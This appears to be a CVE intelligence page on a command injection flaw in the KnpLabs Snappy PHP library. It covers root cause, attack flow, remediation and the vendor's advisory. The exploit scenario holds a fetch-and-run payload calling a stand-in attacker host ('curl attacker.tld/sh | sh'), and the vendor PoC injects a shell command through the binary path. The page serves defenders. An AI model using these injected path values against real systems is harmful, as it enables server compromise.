Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify app using Snappy <= 1.7.1
-
DeliveryFind input flowing to binary path config
-
ExploitInject shell metacharacters into path value
-
ExecutionTrigger PDF/image generation request
-
PersistSnappy concatenates unescaped path into shell command
-
ImpactArbitrary commands run as PHP process user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the Snappy binary path argument (constructor parameter to Knp\Snappy\Pdf or Knp\Snappy\Image) to be attacker-influenced - specifically sourced from user-controlled configuration, environment variables populated from request data, or concatenated with any user-controlled fragment. Hard-coded literal binary paths in code are NOT exploitable for code execution (only a defense-in-depth weakness), because options/input/output arguments are escaped correctly and injection must land in the binary string itself. The library must be at version <= 1.7.0 running on POSIX (the inverted is_executable check is described in POSIX terms), and the PHP process must reach the Snappy generate path with the attacker-tainted binary value. |
| Impact | The CVSS 4.0 vector (AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H) rates this 7.5 with a local attack vector and Attack Requirements:Present, reflecting that exploitation depends on the binary path being attacker-controllable - not a default remote condition. There is no EPSS score, KEV listing, or SSVC decision provided, so real-world exploitation pressure cannot be quantified from the inputs; however, a fully working PoC is published in the vendor advisory, so weaponization is trivial where the precondition holds. The practical risk is concentrated in applications that build the Snappy binary path from configuration sourced from request data, environment variables populated by users, or any string concatenation involving user input - for those deployments this is effectively pre-auth RCE despite the AV:L rating, while hard-coded-path deployments face only a defense-in-depth regression. Note the dissonance between AV:L in CVSS 4.0 and the real-world remote impact when the path is web-influenced - defenders should not down-rank this solely on the local vector. |
| Exploit ScenarioDerived | An attacker submits input that flows into application configuration controlling the Snappy binary path - for example a tenant-configurable wkhtmltopdf path, an env-var-driven setting populated from a request, or a string concatenated with user data. They supply a payload like 'wkhtmltopdf; curl attacker.tld/sh | sh' as the path; when the application instantiates Knp\Snappy\Pdf and calls generate(), the unescaped binary string is passed to the shell and the appended command executes as the PHP process user. The vendor advisory publishes a one-line PoC, so exploitation requires no original research once the injection sink is found. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Jun 10, 2026
Command injection in KnpLabs Snappy PHP library (versions <= 1.7.0) allows attackers to execute arbitrary OS commands when the wkhtmltopdf/wkhtmltoimage binary path is attacker-influenced. An inverted is_executable() check around escapeshellarg() renders the safe branch dead code, causing the binary path to be concatenated unescaped into the shell command. Publicly available exploit code exists (vendor-published PoC in the advisory), but no public exploit identified at time of analysis in CISA KEV.
Earlier versions of this analysis (2)
Command injection in KnpLabs Snappy PHP library (versions <= 1.7.0) allows attackers to execute arbitrary shell commands when the wkhtmltopdf/wkhtmltoimage binary path is influenced by untrusted input. An inverted is_executable() check renders the escapeshellarg() safe branch unreachable, so the binary string is concatenated raw into the shell command. Publicly available exploit code exists via the GitHub Security Advisory proof of concept.
Command injection in KnpLabs Snappy PHP library (versions <= 1.7.0) allows attackers to execute arbitrary OS commands as the PHP process when the wkhtmltopdf/wkhtmltoimage binary path passed to the constructor is influenced by attacker-controlled input. An inverted is_executable() check renders the intended escapeshellarg() protection dead code, so the binary path string is concatenated raw into the shell command. A proof-of-concept is published in the GHSA advisory; no public exploit identified in the wild and the vulnerability is not in CISA KEV at time of analysis.
RemediationAI
Vendor-released patch: upgrade knplabs/knp-snappy to 1.7.1 or later via Composer (composer require knplabs/knp-snappy:^1.7.1), per the release notes at https://github.com/KnpLabs/snappy/releases/tag/v1.7.1 and the GHSA at https://github.com/KnpLabs/snappy/security/advisories/GHSA-vpr4-p6fq-85jc; note the v1.7.1 changelog warns that the fix also prevents passing arguments directly via the binary string (issue #550), so any code that relied on appending flags to the binary path must be refactored to use the proper option APIs. If immediate upgrade is not possible, the vendor-recommended workaround is to validate the binary path with \is_executable($pathToBinary) and throw before constructing Knp\Snappy\Pdf or Image, which closes the injection only when the path is not attacker-controlled - it does not help if an attacker can write a malicious file at a valid executable path. As a stronger compensating control, hard-code the binary path as a constant in code (not configuration, not env) and ensure no user input is ever concatenated into it; the trade-off is reduced deployment flexibility across environments with differing binary locations.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Snappy is a widely used PHP wrapper around the wkhtmltopdf and wkhtmltoimage binaries for generating PDFs and images from HTML. The root cause maps to CWE-78 (OS Command Injection): the library wraps the binary path with escapeshellarg() and then guards selection of the escaped value behind is_executable() - but on POSIX systems escapeshellarg('/usr/bin/wkhtmltopdf') returns the path wrapped in literal single quotes, so is_executable() is called against a path that includes those quote characters and always returns false. The safe branch is therefore unreachable, and the raw, unescaped binary string is interpolated into the shell command line. The affected package is identified as pkg:composer/knplabs_knp-snappy in CPE data.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Requires attacker influence over the Snappy binary path configuration (PR:H, AC:H for the non-default tainted-path precondition); local vector matches the library API surface; full C/I/A impact via code execution as the PHP process.
Primary rating from Vendor (https://github.com/KnpLabs/snappy).
CVSS VectorVendor: https://github.com/KnpLabs/snappy
Lifecycle Timeline
3DescriptionCVE.org
Impact
On POSIX, escapeshellarg(‘/usr/bin/wkhtmltopdf’) returns the literal string ‘/usr/bin/wkhtmltopdf’ with the single-quote characters included. is_executable() then looks for a file whose actual name contains those quote characters, which essentially never exists. The safe branch is dead code and $command always falls through to the raw, unescaped value.
The rest of the arguments (options, input, output) are escaped correctly, so injection has to land in the binary string itself. That happens whenever the binary path is sourced from configuration that is user-influenced, derived from environment variables that ultimately come from request data, or concatenated with any user-controlled fragment.
Proof of concept:
$pdf = new Knp\Snappy\Pdf(‘wkhtmltopdf; touch /tmp/snappy_rce’);
$pdf->generate(‘https://example.com’, ‘/tmp/out.pdf’);
// /tmp/snappy_rce is created.Impact: command execution as the PHP process when the binary path is attacker-influenced. Even in deployments where the binary is hard-coded, this is a defensive-in-depth regression: downstream packages reasonably assume Snappy shell-escapes the binary because the code looks like it does.
Patches
The version 1.7.1 will resolve this security advisory.
Workarounds
Before calling the constructor, ensure \is_executable($path) is truthy.
// Bad example
$pdf = new Knp\Snappy\Pdf('/path/to/binary');// Better example
$pathToBinary = '/path/to/binary';
if (!\is_executable($pathToBinary)) {
throw new \RuntimeException();
}
$pdf = new Knp\Snappy\Pdf('/path/to/binary');Executive ViewAI
KnpLabs Snappy PHP library (versions ≤1.7.0) contains a command injection vulnerability allowing arbitrary OS command execution on affected servers. Publicly available exploit code exists for this vulnerability. Organizations using Snappy for PDF or image generation face critical risk of complete server compromise and require immediate patching.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-36111
GHSA-vpr4-p6fq-85jc
NVD
CVE.org
EPSS
VulDB
Exploit-DB